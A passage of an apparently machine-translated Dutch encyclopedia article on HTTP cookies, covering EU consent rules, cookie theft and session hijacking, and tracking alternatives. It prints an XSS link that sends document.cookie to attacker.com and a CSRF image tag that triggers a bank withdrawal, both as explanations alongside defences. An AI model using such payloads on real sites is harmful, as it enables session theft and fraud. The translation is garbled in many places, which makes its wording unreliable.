Richtlijn 95/46 / EG definieert “toestemming van de betrokkene”, als “elke vrije, specifieke en op informatie berustende wilsuiting waarmee de betrokkene aanvaardt dat zijn akkoord met persoonlijke gegevens over hem worden verwerkt.” [57] Toestemming moet een vorm van communicatie omvatten waar mensen bewust aanvaarding te geven. [56]

In 2009 werd het beleid gewijzigd bij Richtlijn 2009/136 / EG, die een wijziging van artikel 5, Paragraaf 3. In plaats van het hebben van een optie voor gebruikers om zich afmelden voor de cookie opslag opgenomen in de herziene richtlijn verplicht toestemming te krijgen voor de cookie opslag. [56]

In juni 2012 Europese bescherming van gegevens autoriteiten een advies goedgekeurd waarin wordt verduidelijkt dat sommige koekje gebruikers vrijgesteld van de verplichting om toestemming te krijgen zou kunnen zijn:

  • Sommige cookies kunnen worden vrijgesteld van informed consent onder bepaalde voorwaarden als ze niet worden gebruikt voor andere doeleinden. Deze cookies bevatten cookies gebruikt voor het bijhouden van de input van de gebruiker te houden bij het invullen van online formulieren of een winkelwagentje.
  • First party analytics cookies zijn waarschijnlijk geen privacy risico’s te maken als websites bieden duidelijke informatie over de cookies aan gebruikers en privacy waarborgen. [58]

De reactie van de industrie is grotendeels negatief. Robert Bond van het advocatenkantoor Speechly Bircham beschrijft de effecten als “vergaande en ongelooflijk zware” voor “alle Britse bedrijven”. Simon Davis van Privacy International stelt dat goede handhaving zou “te vernietigen de hele industrie”. [59]

De P3P -specificatie biedt de mogelijkheid voor een server om een privacybeleid met behulp van een staat HTTP-header , die bepaalt welke soort informatie verzamelt en met welk doel. Dit beleid omvatten (maar zijn niet beperkt tot) het gebruik van de verzamelde informatie met behulp van cookies. Volgens de P3P-specificatie, kan een browser cookies accepteren of weigeren door het vergelijken van de privacy policy met de opgeslagen voorkeuren van de gebruiker of de gebruiker vragen, presenteren ze het privacybeleid zoals aangegeven door de server. Nochtans, werd de P3P-specificatie bekritiseerd door webontwikkelaars om zijn complexiteit. Sommige websites niet correct uit te voeren. Bijvoorbeeld, Facebook schertsend gebruikt “HONK” als P3P header voor een periode. [60] Alleen Internet Explorer verschaft voldoende steun voor de specificatie.

Third-party cookies kan worden geblokkeerd door de meeste browsers om de privacy te verhogen en verlagen het bijhouden van reclame en het bijhouden van bedrijven, zonder negatieve gevolgen voor de gebruiker web-ervaring. Veel reclame-exploitanten hebben een opt-out optie om behavioral advertising, met een generieke cookie in de browser het stoppen van behavioral advertising. [60] [61]

Cookie diefstal en kapen van sessies

De meeste websites maken gebruik van cookies als de enige identificatienummers voor gebruikerssessies, omdat andere methoden voor het identificeren webgebruikers hebben beperkingen en kwetsbaarheden. Als een website maakt gebruik van cookies als sessie-id, kunnen aanvallers verzoeken van het stelen van een volledige set van slachtoffers gebruikers na te bootsen cookies. Vanuit het oogpunt van de webserver, een verzoek van een aanvaller heeft vervolgens dezelfde authenticatie als verzoeken van het slachtoffer; dus het verzoek wordt uitgevoerd in opdracht van de zitting van het slachtoffer.

Hier zijn verschillende scenario’s cookie diefstal en gebruiker het kapen van sessies (zelfs zonder het stelen gebruiker cookies) die werken met websites die alleen vertrouwen op HTTP cookies voor de identificatie van gebruikers.

Network afluisteren

Een cookie kan worden gestolen door een andere computer die toegelaten leest uit het netwerk

Verkeer op een netwerk kunnen worden onderschept en gelezen door computers aan de andere kant dan de verzender en de ontvanger (in het bijzonder over het netwerk niet versleuteld geopend Wi-Fi ). Dit verkeer is inclusief cookies gestuurd op de gewone niet-versleutelde HTTP-sessies . Waar netwerkverkeer niet versleuteld is, kunnen aanvallers Lees daarom de communicatie van andere gebruikers op het netwerk, met inbegrip van HTTP cookies evenals de volledige inhoud van de gesprekken, met het oog op een man-in-the-middle-aanval .

Een aanvaller kan onderschepte cookies gebruiken om een ​​gebruiker imiteren en een kwaadaardige taak uit te voeren, zoals het overmaken van geld van de bankrekening van het slachtoffer.

Dit probleem kan worden opgelost door het veiligstellen van de communicatie tussen de computer van de gebruiker en de server door het gebruik van Transport Layer Security ( HTTPS- protocol) om de verbinding te versleutelen. Een server kan het opgeven Securevlag tijdens het instellen van een cookie, die zal leiden tot de browser het cookie slechts over een gecodeerd kanaal te sturen, zoals een SSL-verbinding. [31]

Publiceren van valse subdomein: DNS cache poisoning

Als een aanvaller in staat is om een veroorzaken DNS-server naar een gefabriceerde DNS ingang (de zogenaamde cache van DNS cache poisoning ), dan kan de aanvaller toegang tot de cookies van een gebruiker te krijgen. Bijvoorbeeld, kan een aanvaller DNS cache poisoning te gebruiken om een gefabriceerde DNS-vermelding maken van f12345.www.example.comdie verwijst naar het IP-adres van de server van de aanvaller. De aanvaller kan dan plaatsen URL van een afbeelding uit zijn eigen server (bijvoorbeeld http://f12345.www.example.com/img_4_cookie.jpg). Slachtoffers het lezen van de boodschap van de aanvaller zou download dit beeld uit f12345.www.example.com. Daar f12345.www.example.comis een subdomein van www.example.com, zou browsers slachtoffers alle onderwerpen example.comgerelateerde cookies naar de server van de aanvaller.

Als een aanvaller in staat is om dit te bereiken, is het meestal de schuld van de Internet Service Providers voor het niet goed beveiligen van hun DNS-servers. Echter, de ernst van deze aanval worden verminderd als het doel website maakt gebruik van beveiligde cookies. In dit geval zou de aanvaller de extra uitdaging hebben [62] van het verkrijgen van SSL-certificaat de doelgroep website van een certificeringsinstantie , omdat beveiligde cookies alleen via een versleutelde verbinding kan worden overgedragen. Zonder een bijpassende SSL-certificaat, zou browsers slachtoffers een waarschuwingsbericht over ongeldig certificaat van de aanvaller, wat zou helpen voorkomen dat gebruikers het bezoeken van frauduleuze website van de aanvaller en het verzenden van de aanvaller hun cookies weer te geven.

Cross-site scripting: diefstal koekje

Cookies kunnen ook worden gestolen met behulp van een techniek genaamd cross-site scripting. Dit gebeurt wanneer een aanvaller maakt gebruik van een website die het mogelijk maakt de gebruikers ervan te ongefilterde plaatsen HTML en JavaScript -inhoud. Door het versturen van kwaadaardige HTML en JavaScript-code, kan de aanvaller het slachtoffer webbrowser veroorzaken aan cookies van het slachtoffer naar een website van de aanvaller controles te sturen.

Als voorbeeld, kan een aanvaller een bericht op www.example.comde volgende link:

<  A  href  =  "#"  onclick  =  "window.location = 'http://attacker.com/stole.cgi?text=' + ontsnappen (document.cookie) return false;"  > Klik hier! </ a >

Cross-site scripting: een cookie die alleen mogen worden uitgewisseld tussen een server en een client naar een andere partij.

Wanneer een andere gebruiker op deze link klikt, wordt de browser voert het stukje code binnen het onclickattribuut, aldus de string te vervangen document.cookiemet de lijst van cookies die toegankelijk is vanaf de huidige pagina zijn. Als gevolg hiervan wordt deze lijst met cookies verzonden naar de attacker.comserver. Als er kwaadaardige terbeschikkingstelling van de aanvaller is op een HTTPS-website https://www.example.com, veilig cookies zal ook worden om attacker.com in platte tekst verzonden.

Het is de verantwoordelijkheid van de website-ontwikkelaars uit te filteren dergelijke kwaadaardige code.

Dergelijke aanvallen kan worden verminderd door gebruik te maken HttpOnly cookies. Deze cookies worden niet toegankelijk voor client-side scripting talen zoals JavaScript, en daarom zal de aanvaller niet in staat zijn om deze cookies te verzamelen.

Cross-site scripting: proxyverzoek

In oudere versies van veel browsers, waren er gaten in de beveiliging in de uitvoering van de XMLHttpRequest API. Deze API maakt het mogelijk om een proxy server die het antwoord zou krijgen op te geven en deze proxy-server is niet onderworpen aan dezelfde oorsprong beleid. Bijvoorbeeld, is een slachtoffer leest het posten van een aanvaller op www.example.com, en het script van de aanvaller wordt uitgevoerd in de browser van het slachtoffer. Het script genereert een verzoek om www.example.commet de proxy-server attacker.com. Aangezien het verzoek is voor www.example.comalle example.comzullen cookies worden meegestuurd met het verzoek, maar gerouteerd via de aanvaller proxyserver. Daarom zou de aanvaller in staat zijn om cookies van het slachtoffer te oogsten.

Deze aanval zou niet werken met een beveiligde cookies, omdat ze alleen kunnen worden verzonden over HTTPS -verbindingen, en het HTTPS-protocol dicteert end-to-end encryptie (dat wil zeggen de informatie wordt versleuteld in de browser van de gebruiker en gedecodeerd op de bestemming server). In dit geval zou de proxy-server alleen de ruwe, gecodeerde bytes van het HTTP-verzoek.

Cross-site request vervalsing

Bijvoorbeeld, Bob worden surfen op een chat-forum waar een andere gebruiker, Mallory, een bericht heeft geplaatst. Stel dat Mallory een HTML-image-element dat een actie verwijst op de website van bank Bob’s (in plaats van een beeldbestand), bv heeft gemaakt,

<img  src =  "http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"  >

Als Bob’s bank houdt zijn authenticatie-informatie in een cookie, en als het cookie niet is verstreken, dan zal de poging van browser Bob’s om de afbeelding te laden de terugtrekking formulier met zijn koekje, aldus de machtiging van een transactie zonder toestemming van Bob.

Nadelen van cookies

Naast de persoonlijke levenssfeer, cookies hebben ook een aantal technische nadelen. In het bijzonder, ze niet altijd nauwkeurig te identificeren gebruikers, ze kunnen worden gebruikt voor aanvallen op de veiligheid, en ze zijn vaak op gespannen voet met de Representational State Transfer ( REST ) software bouwstijl. [63] [64]

onnauwkeurige identificatie

If more than one browser is used on a computer, each usually has a separate storage area for cookies. Hence cookies do not identify a person, but a combination of a user account, a computer, and a web browser. Thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of cookies.

Likewise, cookies do not differentiate between multiple users who share the same user account , computer, and browser.

Inconsistent state on client and server

Het gebruik van cookies kan een afwijking tussen de stand van de cliënt en de toestand genereren in de cookie opgeslagen. Als de gebruiker een cookie krijgt en vervolgens klikt op de “Back” knop van de browser, de staat van de browser is over het algemeen niet hetzelfde als voorheen dat de overname. Als voorbeeld, als het winkelwagentje van een online winkel is gebouwd met behulp van cookies, de inhoud van de wagen mag niet veranderen wanneer de gebruiker teruggaat in de geschiedenis van de browser: als de gebruiker op een knop drukt om een ​​item in het winkelwagentje toe te voegen en vervolgens klikt op de knop “Vorige”, blijft het item in de winkelwagen. Dit kan niet de bedoeling van de gebruiker, die misschien wilde de toevoeging van het item ongedaan te maken zijn. Dit kan leiden tot onbetrouwbaarheid, verwarring en bugs.Webontwikkelaars moeten dus bewust van dit probleem en de maatregelen om dergelijke situaties om te gaan implementeren.

Alternatieven voor cookies

Een aantal van de activiteiten die kunnen worden gedaan met behulp van cookies kan ook worden gedaan met behulp van andere mechanismen.

JSON Web Tokens

Een JSON Web Token (JWT) is een op zichzelf staand pakket informatie die kan worden gebruikt voor gebruikersidentiteit en authenticiteit te slaan. Zo kunnen ze worden gebruikt in plaats van session cookies. In tegenstelling tot cookies, die automatisch worden bevestigd aan elke HTTP-verzoek van de browser, moet JWTs expliciet worden bevestigd aan elke HTTP-verzoek van de webapplicatie.

HTTP-verificatie

Het HTTP-protocol omvat de basis toegangscontroleterminal en het digest toegangsauthenticatie protocollen, die de toegang tot een webpagina wanneer de gebruiker de juiste gebruikersnaam en wachtwoord verstrekt toelaten. Als de server zoals referenties voor het verlenen van toegang tot een webpagina nodig heeft, vraagt de browser ze van de gebruiker en, eenmaal verworven, de browser worden opgeslagen en stuurt ze in elke volgende pagina-aanvraag. Deze informatie kan worden gebruikt om de gebruiker te volgen.

IP adres

Sommige gebruikers kunnen worden gevolgd op basis van het IP-adres van de computer die de pagina opvraagt. De server kent het IP-adres van de computer waarop de browser (of proxy , indien van toepassing wordt gebruikt) en kon in theorie sessie van een gebruiker te koppelen aan dit IP-adres.

Echter, IP-adressen zijn over het algemeen niet op een betrouwbare manier om een sessie te volgen of identificeren van een gebruiker. Veel computers ontworpen om te worden gebruikt door een enkele gebruiker, zoals office pc’s of pc’s thuis, achter een Network Address Translator (NAT). Dit betekent dat een aantal pc’s een openbaar IP-adres delen. Bovendien zijn sommige systemen, zoals Tor , zijn ontworpen om te behouden Internet anonimiteit , waardoor het bijhouden van op IP-adres onpraktisch, onmogelijk maken, of een veiligheidsrisico.

URL (query string)

Een meer nauwkeurige techniek is gebaseerd op het inbedden van informatie in URL’s. De query string van de URL is het deel dat gewoonlijk wordt gebruikt voor dit doel, maar andere onderdelen kan eveneens worden toegepast. De servlet en PHP sessie mechanismen maken beide gebruik van deze methode als cookies niet zijn ingeschakeld.

Deze methode bestaat uit de webserver voegen querytekenreeksen met een unieke sessie-identificatie om alle links binnenkant van een webpagina. Wanneer de gebruiker een link volgt, stuurt de browser de query string naar de server, zodat de server naar de gebruiker te identificeren en de status te behouden.

Dit soort querytekenreeksen zijn zeer vergelijkbaar met cookies in dat beide bevatten willekeurige stukken van door de server gekozen informatie en beide zijn weer op elk verzoek naar de server verzonden. Er zijn echter enkele verschillen.Aangezien een query string is onderdeel van een URL, indien deze URL later opnieuw dezelfde bijgevoegde stukje informatie wordt naar de server, wat kan leiden tot verwarring gestuurd. Bijvoorbeeld, als de voorkeuren van een gebruiker zijn gecodeerd in de query string van een URL en de gebruiker deze URL stuurt naar een andere gebruiker per e-mail , die voorkeuren zal worden gebruikt voor dat andere gebruikers ook.

Bovendien, als de dezelfde gebruiker dezelfde pagina meerdere keren toegangen uit verschillende bronnen, is er geen garantie dat dezelfde query string zal worden gebruikt elke keer. Bijvoorbeeld, als een gebruiker een pagina bezoekt door te komen uit een pagina intern op de site de eerste keer, en dan bezoekt dezelfde pagina door te komen vanuit een externe zoekmachine voor de tweede keer, de query strings zou waarschijnlijk anders zijn. Als cookies werden gebruikt in deze situatie zou de cookies hetzelfde zijn.

Andere nadelen van de query’s zijn gerelateerd aan de veiligheid. Opslaan van gegevens die een sessie identificeert in een query string maakt sessie fixatie aanvallen, referer logging aanvallen en andere beveiligingsrisico’s . Het overzetten sessie-id als HTTP cookies is beter te beveiligen.

Verborgen formuliervelden

Een andere vorm van sessies bij te houden is het gebruik van webformulieren met verborgen velden. Deze techniek is zeer vergelijkbaar met het gebruik URL querytekenreeksen om de informatie te houden en heeft veel van dezelfde voordelen en nadelen. In feite, als het formulier wordt omgegaan met de HTTP GET methode, dan is deze techniek is vergelijkbaar met het gebruik URL querytekenreeksen, omdat de GET methode voegt het formulier velden om de URL als een query string. Maar de meeste vormen worden behandeld met HTTP POST, die de vorm informatie, inclusief de verborgen velden, in het HTTP-verzoek lichaam, dat is geen deel van de URL moet worden verzonden veroorzaakt, noch van een cookie.

Deze aanpak stelt twee voordelen vanuit het oogpunt van de tracker. Ten eerste, met het bijhouden van informatie geplaatst in het HTTP-verzoek in plaats van in de URL betekent dat het zal niet worden opgemerkt door de gemiddelde gebruiker. Ten tweede wordt de sessie-informatie niet gekopieerd wanneer de gebruiker kopieert de URL (naar bookmark de pagina of stuur het via e-mail, bijvoorbeeld).

“Window.name” DOM ​​eigenschap

Alle huidige webbrowsers kunnen een vrij grote hoeveelheid data (2-32 MB) op te slaan via JavaScript met behulp van de DOM eigenschap window.name. Deze gegevens kunnen worden gebruikt in plaats van session cookies en is ook cross-domain. De techniek kan worden gekoppeld JSON / JavaScript objecten Complexen van sessievariabelen opslaan [65] op de client.

Het nadeel is dat elk apart venster of tabblad in eerste instantie zal een lege window.namepand bij het openen. Verder kan de woning worden gebruikt voor het bijhouden van bezoekers op verschillende websites, waardoor het van zorg voor de privacy van Internet .

In sommige opzichten kan dit veiliger dan cookies te wijten zijn aan het feit dat de inhoud ervan niet automatisch naar de server op elk verzoek verzonden zoals koekjes zijn, dus het is niet kwetsbaar om te netwerken koekje snuiven aanvallen. Echter, indien bijzondere maatregelen worden genomen om de gegevens te beschermen, is het kwetsbaar voor andere aanvallen omdat de gegevens beschikbaar zijn over verschillende websites geopend in hetzelfde venster of tabblad.

Identifier voor adverteerders

Apple maakt gebruik van een tracking techniek genaamd “identifier voor adverteerders” (IDFA). Deze techniek kent een unieke identificatie voor elke gebruiker die een Apple iOS-apparaat (zoals een iPhone of iPad) koopt. Deze ID wordt dan gebruikt door Apple’s advertentienetwerk, iAd, om de advertenties die mensen bekijkt en reageren te bepalen. [66]

ETag

Omdat ETags worden gecached door de browser, en kwam terug met de daaropvolgende aanvragen voor dezelfde bron, een tracking-server kan gewoon elke ETag herhalen ontvangen van de browser om ervoor te zorgen een toegewezen ETag blijft voor onbepaalde tijd (op een vergelijkbare manier om hardnekkige cookies). Extra caching headers kan ook verbetering van het behoud van ETag data.

ETags kan in sommige browsers worden gespoeld door het wissen van de browser cache .

webopslag

Sommige web browsers ondersteunen persistentie mechanismen die het mogelijk maken de pagina om de informatie lokaal opslaan voor later gebruik.

De HTML5- standaard (die de meeste moderne web browsers ondersteunen tot op zekere hoogte) is voorzien van een JavaScript-API genaamd Web opslag dat er twee soorten opslagmedia maakt: lokale opslag en het opslaan van sessies. Lokale opslag gedraagt zich zoals blijvende cookies , terwijl het opslaan van sessies op dezelfde manier gedraagt om session cookies , behalve dat het opslaan van sessies is gekoppeld aan het leven van een individu tab / venster (AKA een pagina sessie), niet te vergeten een hele browsersessie als session cookies. [67]

Internet Explorer ondersteunt hardnekkige informatie [68] in de geschiedenis van de browser, in de favorieten van de browser, in een XML-store ( “user data”), of direct in een webpagina op schijf opgeslagen.

Sommige web browser plugins omvatten persistentie mechanismen ook. Bijvoorbeeld, Adobe Flash heeft Lokale gezamenlijk object en Microsoft Silverlight heeft afzonderlijke opslag. [69]

Browser cache

De browser cache kan ook worden gebruikt om informatie die kan worden gebruikt om individuele gebruikers te volgen op te slaan. Deze techniek maakt gebruik van het feit dat de web browser bronnen die zijn opgeslagen in de cache in plaats van ze te downloaden van de website zal gebruiken wanneer hij vaststelt dat de cache heeft al de meest up-to-date versie van de bron.

Zo kan bijvoorbeeld een website een JavaScript-bestand dat de code die een unieke identificatie stelt voor de gebruiker bevat dienen (bijvoorbeeld var userId = 3243242;). Na een eerste bezoek van de gebruiker, elke keer dat de gebruiker de pagina toegangen, dit bestand zal worden geladen uit de cache in plaats van gedownload van de server. Zo zal de inhoud ervan nooit veranderen.

browser vingerafdruk

Een browser vingerafdruk is informatie verzameld over de configuratie van een browser, zoals versienummer, schermresolutie en het besturingssysteem, voor het doel van identificatie. Vingerafdrukken worden gebruikt om individuele gebruikers of apparaten geheel of gedeeltelijk te identificeren zelfs wanneer cookies zijn uitgeschakeld.

Basic web browser configuratie-informatie is al lang verzameld door web analytics services in een poging om nauwkeurig te meten echte menselijke webverkeer en korting diverse vormen van klikfraude . Met de hulp van client-side scripting talen, het verzamelen van veel meer esoterische parameters is mogelijk. [70] [71] Assimilatie van dergelijke informatie in één streng een inrichting vingerafdruk. In 2010, EFF gemeten ten minste 18,1 bits entropie vanaf browser vingerafdrukken. [72] doek fingerprinting , een techniek recenter claimt een 5,7 bit toe.